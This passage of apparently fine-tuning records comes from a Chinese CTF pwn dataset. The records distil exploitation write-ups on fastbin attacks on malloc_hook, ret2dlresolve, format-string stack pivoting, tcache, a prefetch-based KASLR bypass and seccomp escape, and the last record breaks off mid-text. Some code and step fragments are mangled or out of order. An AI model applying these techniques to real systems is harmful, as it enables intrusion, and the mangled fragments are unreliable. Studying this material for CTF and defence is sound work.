{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-15d845679a58daa80747", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「分配 malloc_hook 附近chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 利用 > 分配 malloc_hook 附近chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分配 malloc_hook 附近chunk”展开。\n- 此时，fastbin 的链表为 b->a->b->a->…，则我们可以在申请第一个相同大小的 chunk 时，设置 b 的 fd 为 malloc_hook 附近处的 chunk 0x7fd798586aed（这里是举一个例子，代码中需使用相对地址）。\n- 此后便只需要将 malloc_hook 修改为 one_gadget 地址就可以拿到 shell 了。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 21 行，首行 `pwndbg> print (void*)&main_arena`\n- python: 12 行，首行 `# 3. fastbin attack to malloc_hook nearby chunk`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1513, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分配 malloc_hook 附近chunk", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "利用", "分配 malloc_hook 附近chunk"], "original_id": "docs-e1f43fe263b40420f086", "original_line": 933, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "43b0de5d97c9b5d2e78dda60", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell", "code:python"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-16025ca90820b944dd76", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「基本功能分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 基本功能分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能分析”展开。\n- 这个storage的结构体如下 ``text 00000000 Storage struc ;\n- 程序管理在 bss 段的存储空间 storage ，具有插入，删除，合并，删除，查看，枚举，退出功能。\n- (sizeof=0x18, mappedto_7) 00000000 ;\n- XREF: .bss:storage_list/r 00000000 use dq ?\n- 00000018 Storage ends ``\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:text\n\n代码/命令片段线索：\n- text: 6 行，首行 `00000000 Storage struc ; (sizeof=0x18, mappedto_7)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 249, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本功能分析", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成", "基本功能分析"], "original_id": "docs-23881b5fbe9c2b169317", "original_line": 1111, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "0b44a8625505eb9f13d87e35", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:text"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-160fc7400ad81bdf6dd2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「2015-hitcon-quals-blinkroot」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：send \"/bin/sh\\x00\" > 2015-hitcon-quals-blinkroot\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2015-hitcon-quals-blinkroot”展开。\n- DATA XREF: main+72↑o .bss:0000000000600BD0 _bss ends ` 因此，我们可以控制 s 为 /bin/sh，同时控制字符串表中的 puts 函数为 system 函数，那就可以调用 system 函数了。\n- 由于不能泄露地址信息，所以我们可以采用伪造 linkmap 的思路，即 - 利用题目提供的任意写的思路修改 linkmap 指向已经解析的地址 - 通过题目中接下来将要调用的 puts 函数来实现劫持控制流的目的 这里我们可以发现 linkmap 存储的地址为 0x600B48，因此我们可以从 0x600B40 开始设置数据。\n- 同时我们观察到 `c int __cdecl __noreturn main(int argc, const char argv, const char envp) { if ( recvlen(0, (char )&data, 0x400uLL) == 1024 ) { close(0);\n- 简单看一下程序开的保护 ``bash ❯ checksec blinkroot [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-hitcon-quals-blinkroot/blinkroot' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ` 发现程序开启了 Canary 保护。\n- DATA XREF: main+B↑o .bss:0000000000600BC0 ;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n- code:c\n- code:assembly\n\n代码/命令片段线索：\n- bash: 7 行，首行 `❯ checksec blinkroot`\n- c: 12 行，首行 `int __cdecl __noreturn main(int argc, const char **argv, const char **envp)`\n- plain: 8 行，首行 `.bss:0000000000600BC0 public data`\n- plain: 3 行，首行 `LOAD:00000000006009E8 Elf64_Dyn <5, 400340h> ; DT_STRTAB`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4686, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "2015-hitcon-quals-blinkroot", "heading_path": ["send \"/bin/sh\\x00\"", "2015-hitcon-quals-blinkroot"], "original_id": "docs-a33e14cfccd79440c8f7", "original_line": 72, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "c1c4b4b4ccf1d02a2c25adfc", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:bash", "code:c", "code:assembly"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1668975b541c5dc305d7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用思路”展开。\n- 其实既然有格式化字符串漏洞，我们应该是可以通过劫持got表或者控制程序返回地址来控制程序流程。\n- 其次，不能够直接控制程序返回地址来控制程序流程的是因为我们并没有一块可以直接执行的地址来存储我们的内容，同时利用格式化字符串来往栈上直接写入 system\\_addr + 'bbbb' + addr of '/bin/sh‘ 似乎并不现实。\n- 这里我们通过 leave 指令来进行栈迁移，所以在迁移之前我们需要修改程序保存 ebp 的值为我们想要的值。\n- 但是，程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址，所以我们可以修改其上层函数的保存的 ebp 的值，即上上层函数（即main函数）的 ebp 数值。\n- 而这里，我们可以控制的恰好是堆内存，所以我们可以把栈迁移到堆上去。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1060, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用思路", "heading_path": ["例子", "堆上的格式化字符串漏洞", "例子", "利用思路"], "original_id": "docs-bf8a5de2a33879db9526", "original_line": 872, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "e88701a2152fd21a3941a05d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-16b4590c13d10436770b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「一、NT kernel 中的进程与线程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 进程管理 > 一、NT kernel 中的进程与线程\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“一、NT kernel 中的进程与线程”展开。\n- 在 Windows NT kernel 当中使用 _EPROCESS 结构体来表示一个进程，类似于 Linux 下的 task_struct，该结构体当中存储了 Windows 进程的所有信息，所有进程的 _EPROCESS 之间构成一个双向链表。\n- 内核态 GS 寄存器指向 处理器控制区（Process Control Region），类似于 Linux 下的 .percpu 段，其中存放着指向当前线程控制块的指针，在这其中便又存放着指向当前进程控制块的指针。\n- [图片文件: https://s2.loli.net/2025/02/01/a5lbF1fgDAUErcz.png]\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 303, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "一、NT kernel 中的进程与线程", "heading_path": ["基础知识", "进程管理", "一、NT kernel 中的进程与线程"], "original_id": "docs-de81c6b11c9d8850eff7", "original_line": 1462, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "66a3d1db7fd604941621be80", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-16d5ba42fe7e6653b89e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「KASLR bypass」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`\n标题：prefetch side-channel attack\n章节：prefetch side-channel attack > KASLR bypass\n路径分类：pwn / pwn/hardware/cpu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“KASLR bypass”展开。\n- 通过这个方式，我们可以得知对应系统调用的虚拟地址，从而绕过 KASLR。\n- 我们使用 Address-translation oracle 的一种变种来绕过 KASLR。\n- 不同于搜索映射到同一物理页面的虚拟地址，我们通过如下方式确认一个虚拟地址 $p$ 是否被系统调用所使用： 1. 清除所有的缓存（通过访问一个足够大的 buffer 来完成）。\n- 3. 测量一组 prefetch 指令的执行时间，从而得知虚拟地址 $p$ 是否被系统调用所使用。\n- 2. 执行系统调用，此时相应的页面会被载入到缓存中。\n\n关键术语：\n- pwn\n- hardware\n- cpu\n- side-channel\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 254, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "KASLR bypass", "heading_path": ["prefetch side-channel attack", "KASLR bypass"], "original_id": "docs-5169d5e04be704b63d82", "original_line": 636, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "source_root": "docs", "source_sha256": "2becfb3a5a6f80745403242ec2d2ce0a4c230bb280b012418ce1204612558448", "split": "train", "split_group_key": "3884d03aac947a99765281a1", "subcategory": "pwn/hardware/cpu", "terms": ["pwn", "hardware", "cpu", "side-channel"], "title": "prefetch side-channel attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-16d5bfa1f49178b32834", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「0x01 Tcache overview」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：tcache makes heap exploitation easy again > 0x01 Tcache overview\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x01 Tcache overview”展开。\n- / There is one of these for each thread, which contains the per-thread cache (hence \"tcache_perthread_struct\").\n- ` 其中有两个重要的函数， tcache_get() 和 tcache_put(): `C static void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry e = (tcache_entry ) chunk2mem (chunk);\n- } static void tcache_get (size_t tc_idx) { tcache_entry e = tcache->entries[tc_idx];\n- } ` 这两个函数会在函数 _int_free 和 __libc_malloc 的开头被调用，其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。\n- ``c / This is another arbitrary limit, which tunables can change.\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 12 行，首行 `/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */`\n- C: 19 行，首行 `static void`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1928, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "0x01 Tcache overview", "heading_path": ["tcache makes heap exploitation easy again", "0x01 Tcache overview"], "original_id": "docs-215bc047000dbcb8ac4a", "original_line": 1038, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "007e70e1f7724e3c45cb2761", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-183361bb2174ebe05cbf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「(s)brk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > 内存分配背后的系统调用 > (s)brk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“(s)brk”展开。\n- 对于堆的操作，操作系统提供了 brk 函数，glibc 库提供了 sbrk 函数，我们可以通过增加 brk 的大小来向操作系统申请内存。\n- 在第一次调用brk之前 从下面的输出可以看出，并没有出现堆。\n- 初始时，堆的起始地址 start_brk 以及堆的当前末尾 brk 指向同一地址。\n- 具体效果如下图（这个图片与网上流传的基本一致，这里是因为要画一张大图，所以自己单独画了下）所示 [图片文件: ./figure/program_virtual_address_memory_space.png] 例子 ``c / sbrk and brk example / #include  #include  #include  int main() { void curr_brk, tmp_brk = NULL;\n- } ` 需要注意的是，在每一次执行完操作后，都执行了getchar()函数，这是为了我们方便我们查看程序真正的映射。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:shell\n\n代码/命令片段线索：\n- c: 23 行，首行 `/* sbrk and brk example */`\n- shell: 10 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk`\n- shell: 12 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2543, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "(s)brk", "heading_path": ["堆概述", "堆的基本操作", "内存分配背后的系统调用", "(s)brk"], "original_id": "docs-8dbdb89e119e150b815e", "original_line": 945, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "ff7c8bf086704ee28a2fe573", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c", "code:shell"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-189c99f59200a4e9b778", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「预备知识」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：Arm ROP > 预备知识\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“预备知识”展开。\n- 先看一下 arm 下的函数调用约定，函数的第 1 ～ 4 个参数分别保存在 r0 ～ r3 寄存器中， 剩下的参数从右向左依次入栈， 被调用者实现栈平衡，函数的返回值保存在 r0 中 [图片文件: https://courses.washington.edu/cp105/_images/ARM_Calling_Convention.png] 除此之外，arm 的 b/bl 等指令实现跳转;\n- pc 寄存器相当于 x86 的 eip，保存下一条指令的地址，也是我们要控制的目标\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 256, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "预备知识", "heading_path": ["Arm ROP", "预备知识"], "original_id": "docs-0853b5a54f7465ac5e6d", "original_line": 1231, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "ba40e5a37d8ffda93e246493", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-18dd0892cf6ff645eee3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「核心独占内存池：Lookaside Lists」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 核心独占内存池：Lookaside Lists\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“核心独占内存池：Lookaside Lists”展开。\n- 池描述符对应的内存池在所有核心间共享，核心一多效率就灾难了，因此每个核心实际上还有一个独有的内存池，存放在内核态 GS 寄存器指向的 处理器控制区（Process Control Region，为 _KPCR 结构体，类似于 Linux 下的 .percpu 段）当中—— Lookaside Lists 用于优先处理当前核心的池内存请求，只有当其不足以满足需求时才会向共享内存池请求内存。\n- LookasideList 的结构如下图所示，根据大小归属数组上不同的链表，每个链表又分为二个子链：一个单向链表（默认，长度有上限，LIFO）与一个双向链表（前者满时放到这），LookasideList 的数组成员数量较少因此仅用于较小的内存分配。\n- 笔者也不知道 ~~，静待 Windows 开源的那一天~~ ......\n- [图片文件: https://s2.loli.net/2025/02/05/VBuc9hZysC2fbr4.png] LookasideList 一共有四类（PP == Per Processsor）： - PPLookasideList：用于频繁分配与释放的对象的 LookasideList - PPNxPagedLookasideList：非换页池的 non-eXecuted 页面的 LookasideList - PPNPagedLookasideList：非换页池的 LookasideList - P...\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 708, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "核心独占内存池：Lookaside Lists", "heading_path": ["基础知识", "内存管理", "二、Pool Memory（before 19H1）", "核心独占内存池：Lookaside Lists"], "original_id": "docs-3937580a9bbddcf353eb", "original_line": 1456, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "8b840bf10299acd23398eab6", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1905536172d5dfad01ac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/seccomp/c-sandbox-escape.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/seccomp/c-sandbox-escape.md`\n标题：C 沙盒逃逸\n章节：C 沙盒逃逸 > orw > 例题 > Balsn_CTF_2019-PlainText > 分析\n路径分类：pwn / pwn/sandbox/seccomp\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- `` 通过使用这个 gadget 之后改变 rdx，ret 到 setcontext 之后就可以 rop 了（这个 chunk 无法通过 ROPgadget 找出，需要使用 ropper）。\n- 在 orw 之前的利用这里不再赘述，请见《Glibc Heap 利用》目录下的《堆中的 Off-By-One》中对此题的分析 比较讨厌的是，在 libc-2.29 下，free 函数不会再将 rdi 赋值给 rdx，我们无法直接控制 rdx，仅能控制 rdi，幸好比较巧合的，在本题的 